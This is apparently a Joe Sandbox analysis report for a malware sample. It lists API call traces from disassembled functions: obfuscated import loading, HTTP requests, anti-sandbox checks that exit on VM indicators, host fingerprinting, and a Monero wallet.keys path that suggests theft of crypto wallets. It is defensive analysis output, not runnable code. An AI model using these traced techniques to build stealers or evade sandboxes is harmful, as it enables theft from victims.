API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 60c7e5051518038c715cea137919cae061c90c7bf0ce08d1210671b0a4be7be3
Instruction ID: 81f4bf12f92dc4076b0432233aed9b0d2910cfbf9a48db530934693c134715ea
Opcode Fuzzy Hash: 60c7e5051518038c715cea137919cae061c90c7bf0ce08d1210671b0a4be7be3
Instruction Fuzzy Hash: 99D05E7490030CDFDB00DFE1D8496EDBB78FB08311F040566DD0972340EA315486CBA6

Function 00C59C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,008877D0), ref: 00C59C2D
GetProcAddress.KERNEL32(74DD0000,00887690), ref: 00C59C45
GetProcAddress.KERNEL32(74DD0000,0089B820), ref: 00C59C5E
GetProcAddress.KERNEL32(74DD0000,0089B7C0), ref: 00C59C76
GetProcAddress.KERNEL32(74DD0000,0089B7D8), ref: 00C59C8E
GetProcAddress.KERNEL32(74DD0000,0089B7F0), ref: 00C59CA7
GetProcAddress.KERNEL32(74DD0000,0088D7E8), ref: 00C59CBF
GetProcAddress.KERNEL32(74DD0000,0089EDE0), ref: 00C59CD7
GetProcAddress.KERNEL32(74DD0000,0089ECC0), ref: 00C59CF0
GetProcAddress.KERNEL32(74DD0000,0089ED50), ref: 00C59D08
GetProcAddress.KERNEL32(74DD0000,0089EE10), ref: 00C59D20
GetProcAddress.KERNEL32(74DD0000,00887790), ref: 00C59D39
GetProcAddress.KERNEL32(74DD0000,00887630), ref: 00C59D51
GetProcAddress.KERNEL32(74DD0000,008877B0), ref: 00C59D69
GetProcAddress.KERNEL32(74DD0000,00887810), ref: 00C59D82
GetProcAddress.KERNEL32(74DD0000,0089EC48), ref: 00C59D9A
GetProcAddress.KERNEL32(74DD0000,0089ED68), ref: 00C59DB2
GetProcAddress.KERNEL32(74DD0000,0088D450), ref: 00C59DCB
GetProcAddress.KERNEL32(74DD0000,00887830), ref: 00C59DE3
GetProcAddress.KERNEL32(74DD0000,0089EC60), ref: 00C59DFB
GetProcAddress.KERNEL32(74DD0000,0089ED08), ref: 00C59E14
GetProcAddress.KERNEL32(74DD0000,0089ED80), ref: 00C59E2C
GetProcAddress.KERNEL32(74DD0000,0089EC78), ref: 00C59E44
GetProcAddress.KERNEL32(74DD0000,00887470), ref: 00C59E5D
GetProcAddress.KERNEL32(74DD0000,0089EC30), ref: 00C59E75
GetProcAddress.KERNEL32(74DD0000,0089EDC8), ref: 00C59E8D
GetProcAddress.KERNEL32(74DD0000,0089ECF0), ref: 00C59EA6
GetProcAddress.KERNEL32(74DD0000,0089ED38), ref: 00C59EBE
GetProcAddress.KERNEL32(74DD0000,0089EEA0), ref: 00C59ED6
GetProcAddress.KERNEL32(74DD0000,0089EC90), ref: 00C59EEF
GetProcAddress.KERNEL32(74DD0000,0089EED0), ref: 00C59F07
GetProcAddress.KERNEL32(74DD0000,0089ED98), ref: 00C59F1F
GetProcAddress.KERNEL32(74DD0000,0089EEB8), ref: 00C59F38
GetProcAddress.KERNEL32(74DD0000,0089C318), ref: 00C59F50
GetProcAddress.KERNEL32(74DD0000,0089EC00), ref: 00C59F68
GetProcAddress.KERNEL32(74DD0000,0089EDB0), ref: 00C59F81
GetProcAddress.KERNEL32(74DD0000,00887850), ref: 00C59F99
GetProcAddress.KERNEL32(74DD0000,0089EDF8), ref: 00C59FB1
GetProcAddress.KERNEL32(74DD0000,00887490), ref: 00C59FCA
GetProcAddress.KERNEL32(74DD0000,0089EE28), ref: 00C59FE2
GetProcAddress.KERNEL32(74DD0000,0089EE40), ref: 00C59FFA
GetProcAddress.KERNEL32(74DD0000,008874B0), ref: 00C5A013
GetProcAddress.KERNEL32(74DD0000,00887890), ref: 00C5A02B
LoadLibraryA.KERNEL32(0089ED20,?,00C55CA3,00C60AEB,?,?,?,?,?,?,?,?,?,?,00C60AEA,00C60AE3), ref: 00C5A03D
LoadLibraryA.KERNEL32(0089EEE8,?,00C55CA3,00C60AEB,?,?,?,?,?,?,?,?,?,?,00C60AEA,00C60AE3), ref: 00C5A04E
LoadLibraryA.KERNEL32(0089ECA8,?,00C55CA3,00C60AEB,?,?,?,?,?,?,?,?,?,?,00C60AEA,00C60AE3), ref: 00C5A060
LoadLibraryA.KERNEL32(0089EE58,?,00C55CA3,00C60AEB,?,?,?,?,?,?,?,?,?,?,00C60AEA,00C60AE3), ref: 00C5A072
LoadLibraryA.KERNEL32(0089EE70,?,00C55CA3,00C60AEB,?,?,?,?,?,?,?,?,?,?,00C60AEA,00C60AE3), ref: 00C5A083
LoadLibraryA.KERNEL32(0089EE88,?,00C55CA3,00C60AEB,?,?,?,?,?,?,?,?,?,?,00C60AEA,00C60AE3), ref: 00C5A095
LoadLibraryA.KERNEL32(0089EC18,?,00C55CA3,00C60AEB,?,?,?,?,?,?,?,?,?,?,00C60AEA,00C60AE3), ref: 00C5A0A7
LoadLibraryA.KERNEL32(0089ECD8,?,00C55CA3,00C60AEB,?,?,?,?,?,?,?,?,?,?,00C60AEA,00C60AE3), ref: 00C5A0B8
GetProcAddress.KERNEL32(75290000,00887A30), ref: 00C5A0DA
GetProcAddress.KERNEL32(75290000,0089F110), ref: 00C5A0F2
GetProcAddress.KERNEL32(75290000,0089ADC8), ref: 00C5A10A
GetProcAddress.KERNEL32(75290000,0089F0E0), ref: 00C5A123
GetProcAddress.KERNEL32(75290000,00887AF0), ref: 00C5A13B
GetProcAddress.KERNEL32(6FDD0000,0088D4C8), ref: 00C5A160
GetProcAddress.KERNEL32(6FDD0000,008878D0), ref: 00C5A179
GetProcAddress.KERNEL32(6FDD0000,0088D770), ref: 00C5A191
GetProcAddress.KERNEL32(6FDD0000,0089F068), ref: 00C5A1A9
GetProcAddress.KERNEL32(6FDD0000,0089F0F8), ref: 00C5A1C2
GetProcAddress.KERNEL32(6FDD0000,00887BF0), ref: 00C5A1DA
GetProcAddress.KERNEL32(6FDD0000,00887930), ref: 00C5A1F2
GetProcAddress.KERNEL32(6FDD0000,0089F008), ref: 00C5A20B
GetProcAddress.KERNEL32(752C0000,00887AD0), ref: 00C5A22C
GetProcAddress.KERNEL32(752C0000,00887A90), ref: 00C5A244
GetProcAddress.KERNEL32(752C0000,0089F1D0), ref: 00C5A25D
GetProcAddress.KERNEL32(752C0000,0089F128), ref: 00C5A275
GetProcAddress.KERNEL32(752C0000,00887BB0), ref: 00C5A28D
GetProcAddress.KERNEL32(74EC0000,0088D3B0), ref: 00C5A2B3
GetProcAddress.KERNEL32(74EC0000,0088D860), ref: 00C5A2CB
GetProcAddress.KERNEL32(74EC0000,0089EF78), ref: 00C5A2E3
GetProcAddress.KERNEL32(74EC0000,00887970), ref: 00C5A2FC
GetProcAddress.KERNEL32(74EC0000,00887950), ref: 00C5A314
GetProcAddress.KERNEL32(74EC0000,0088D518), ref: 00C5A32C
GetProcAddress.KERNEL32(75BD0000,0089F140), ref: 00C5A352
GetProcAddress.KERNEL32(75BD0000,00887A50), ref: 00C5A36A
GetProcAddress.KERNEL32(75BD0000,0089AE28), ref: 00C5A382
GetProcAddress.KERNEL32(75BD0000,0089F158), ref: 00C5A39B
GetProcAddress.KERNEL32(75BD0000,0089F098), ref: 00C5A3B3
GetProcAddress.KERNEL32(75BD0000,00887B10), ref: 00C5A3CB
GetProcAddress.KERNEL32(75BD0000,00887B30), ref: 00C5A3E4
GetProcAddress.KERNEL32(75BD0000,0089F020), ref: 00C5A3FC
GetProcAddress.KERNEL32(75BD0000,0089EF90), ref: 00C5A414
GetProcAddress.KERNEL32(75A70000,008878F0), ref: 00C5A436
GetProcAddress.KERNEL32(75A70000,0089EF00), ref: 00C5A44E
GetProcAddress.KERNEL32(75A70000,0089F038), ref: 00C5A466
GetProcAddress.KERNEL32(75A70000,0089EF18), ref: 00C5A47F
GetProcAddress.KERNEL32(75A70000,0089EFD8), ref: 00C5A497
GetProcAddress.KERNEL32(75450000,008878B0), ref: 00C5A4B8
GetProcAddress.KERNEL32(75450000,00887BD0), ref: 00C5A4D1
GetProcAddress.KERNEL32(75DA0000,00887C10), ref: 00C5A4F2
GetProcAddress.KERNEL32(75DA0000,0089EF30), ref: 00C5A50A
GetProcAddress.KERNEL32(6F070000,00887A70), ref: 00C5A530
GetProcAddress.KERNEL32(6F070000,00887910), ref: 00C5A548
GetProcAddress.KERNEL32(6F070000,00887990), ref: 00C5A560
GetProcAddress.KERNEL32(6F070000,0089EF48), ref: 00C5A579
GetProcAddress.KERNEL32(6F070000,008879B0), ref: 00C5A591
GetProcAddress.KERNEL32(6F070000,00887870), ref: 00C5A5A9
GetProcAddress.KERNEL32(6F070000,008879D0), ref: 00C5A5C2
GetProcAddress.KERNEL32(6F070000,00887B50), ref: 00C5A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00C5A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00C5A607
GetProcAddress.KERNEL32(75AF0000,0089F050), ref: 00C5A629
GetProcAddress.KERNEL32(75AF0000,0089AD98), ref: 00C5A641
GetProcAddress.KERNEL32(75AF0000,0089F080), ref: 00C5A659
GetProcAddress.KERNEL32(75AF0000,0089F170), ref: 00C5A672
GetProcAddress.KERNEL32(75D90000,008879F0), ref: 00C5A693
GetProcAddress.KERNEL32(6E330000,0089F188), ref: 00C5A6B4
GetProcAddress.KERNEL32(6E330000,00887A10), ref: 00C5A6CD
GetProcAddress.KERNEL32(6E330000,0089F0B0), ref: 00C5A6E5
GetProcAddress.KERNEL32(6E330000,0089F1A0), ref: 00C5A6FD

Strings

InternetSetOptionA, xrefs: 00C5A5E5
HttpQueryInfoA, xrefs: 00C5A5FC

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: ef27e421e54663214de7e9d7538c81bbb6db14eec4e277ff38f6de8132ece91a
Instruction ID: ced994902c8498f99a8efb9be2a333ac2f28b0672ad915bbafdc84c7c0171f04
Opcode Fuzzy Hash: ef27e421e54663214de7e9d7538c81bbb6db14eec4e277ff38f6de8132ece91a
Instruction Fuzzy Hash: BF623EB5500600AFF348DFAAED8895637F9F74C70171C853BA60DE3234D63A945AEB22

Function 00C46280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C44839
Part of subcall function 00C447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C44849

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

InternetOpenA.WININET(00C60DFE,00000001,00000000,00000000,00000000), ref: 00C462E1
StrCmpCA.SHLWAPI(?,008A0610), ref: 00C46303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C46335
HttpOpenRequestA.WININET(00000000,GET,?,0089FCA0,00000000,00000000,00400100,00000000), ref: 00C46385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C463BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C463D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00C463FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00C4646D
InternetCloseHandle.WININET(00000000), ref: 00C464EF
InternetCloseHandle.WININET(00000000), ref: 00C464F9
InternetCloseHandle.WININET(00000000), ref: 00C46503

Strings

ERROR, xrefs: 00C464C9
ERROR, xrefs: 00C46407
GET, xrefs: 00C4637C

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 7479fe20c364f97fd262a44763f00c65637a71ea2795479b2c64dd0bc6695abc
Instruction ID: 0f50684c529cc9927914b4652e0b9a816357883b8166b0cb662c01fba988624b
Opcode Fuzzy Hash: 7479fe20c364f97fd262a44763f00c65637a71ea2795479b2c64dd0bc6695abc
Instruction Fuzzy Hash: 4C717D75A00208AFEB24DFA1CC49BEE7774BB04701F108169F5096B1D4DBB46A89DF52

Function 00C55510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C5A820: lstrlen.KERNEL32(00C44F05,?,?,00C44F05,00C60DDE), ref: 00C5A82B
Part of subcall function 00C5A820: lstrcpy.KERNEL32(00C60DDE,00000000), ref: 00C5A885

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C55644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C556A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C55857

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C551F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C55228

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C552C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C55318
Part of subcall function 00C552C0: lstrlen.KERNEL32(00000000), ref: 00C5532F
Part of subcall function 00C552C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00C55364
Part of subcall function 00C552C0: lstrlen.KERNEL32(00000000), ref: 00C55383
Part of subcall function 00C552C0: lstrlen.KERNEL32(00000000), ref: 00C553AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C5578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C55940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C55A0C
Sleep.KERNEL32(0000EA60), ref: 00C55A1B

Strings

ERROR, xrefs: 00C55693
ERROR, xrefs: 00C5577D
ERROR, xrefs: 00C55849
ERROR, xrefs: 00C559FE
ERROR, xrefs: 00C55932
ERROR, xrefs: 00C55636

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: e986695314c55e7c2900d388c513eec30574f3605f94cc994e01864c2180e396
Instruction ID: 897d2ddab0c05c3174c286184e50bd24ff33c8b070e78b1e6866476db54e92c5
Opcode Fuzzy Hash: e986695314c55e7c2900d388c513eec30574f3605f94cc994e01864c2180e396
Instruction Fuzzy Hash: 22E176759101049ADB14FBB2DC96AED7338BF54341F548228BD07620D1EF346B8DEBA6

Function 00C517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00C517C5
ExitProcess.KERNEL32 ref: 00C517D1

Strings

block, xrefs: 00C517B7

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a08cf7772107246c31d94a2e5100037783b96e65e4b194047361c654e6a7431e
Instruction ID: ec9328ea0d4c5e30a2f210b7e508fec60569b401fdd0a3c13a1c73aa5f015953
Opcode Fuzzy Hash: a08cf7772107246c31d94a2e5100037783b96e65e4b194047361c654e6a7431e
Instruction Fuzzy Hash: 175191B8A00209EFDB14DFA2C958BBE77B5BF44305F184159EC0677280D770EA89DB66

Function 00C57500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00C57542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00C5757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C57603
RtlAllocateHeap.NTDLL(00000000), ref: 00C5760A
wsprintfA.USER32 ref: 00C57640

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Strings

C, xrefs: 00C5754C
\, xrefs: 00C57560
:, xrefs: 00C5755C

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 2c9e08e94af8f96f64654a38b89f2be5aa2337b58e94854e002f2c00c34eea1b
Instruction ID: 658903dd11696745c8c6f35e3719432829a7ae6b7f510ddbf36c5de16b9103b0
Opcode Fuzzy Hash: 2c9e08e94af8f96f64654a38b89f2be5aa2337b58e94854e002f2c00c34eea1b
Instruction Fuzzy Hash: 384184B5D04248AFDB10DF94DC45BDEBBB8AF08701F140199F90977280EB796A88CBA5

Function 00C569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,00894178), ref: 00C598A1
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,008940E8), ref: 00C598BA
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,00894130), ref: 00C598D2
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,008941C0), ref: 00C598EA
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,008941D8), ref: 00C59903
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,0089ADE8), ref: 00C5991B
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,008876D0), ref: 00C59933
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,008876F0), ref: 00C5994C
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,00893F98), ref: 00C59964
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,00893FE0), ref: 00C5997C
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,00894028), ref: 00C59995
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,00893FB0), ref: 00C599AD
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,00887650), ref: 00C599C5
Part of subcall function 00C59860: GetProcAddress.KERNEL32(74DD0000,00894058), ref: 00C599DE

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C411D0: ExitProcess.KERNEL32 ref: 00C41211

Part of subcall function 00C41160: GetSystemInfo.KERNEL32(?), ref: 00C4116A
Part of subcall function 00C41160: ExitProcess.KERNEL32 ref: 00C4117E

Part of subcall function 00C41110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00C4112B
Part of subcall function 00C41110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00C41132
Part of subcall function 00C41110: ExitProcess.KERNEL32 ref: 00C41143

Part of subcall function 00C41220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00C4123E
Part of subcall function 00C41220: __aulldiv.LIBCMT ref: 00C41258
Part of subcall function 00C41220: __aulldiv.LIBCMT ref: 00C41266
Part of subcall function 00C41220: ExitProcess.KERNEL32 ref: 00C41294

Part of subcall function 00C56770: GetUserDefaultLangID.KERNEL32 ref: 00C56774

Part of subcall function 00C41190: ExitProcess.KERNEL32 ref: 00C411C6

Part of subcall function 00C57850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C411B7), ref: 00C57880
Part of subcall function 00C57850: RtlAllocateHeap.NTDLL(00000000), ref: 00C57887
Part of subcall function 00C57850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C5789F

Part of subcall function 00C578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C57910
Part of subcall function 00C578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00C57917
Part of subcall function 00C578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00C5792F

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0089ADD8,?,00C6110C,?,00000000,?,00C61110,?,00000000,00C60AEF), ref: 00C56ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C56AE8
CloseHandle.KERNEL32(00000000), ref: 00C56AF9
Sleep.KERNEL32(00001770), ref: 00C56B04
CloseHandle.KERNEL32(?,00000000,?,0089ADD8,?,00C6110C,?,00000000,?,00C61110,?,00000000,00C60AEF), ref: 00C56B1A
ExitProcess.KERNEL32 ref: 00C56B22

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
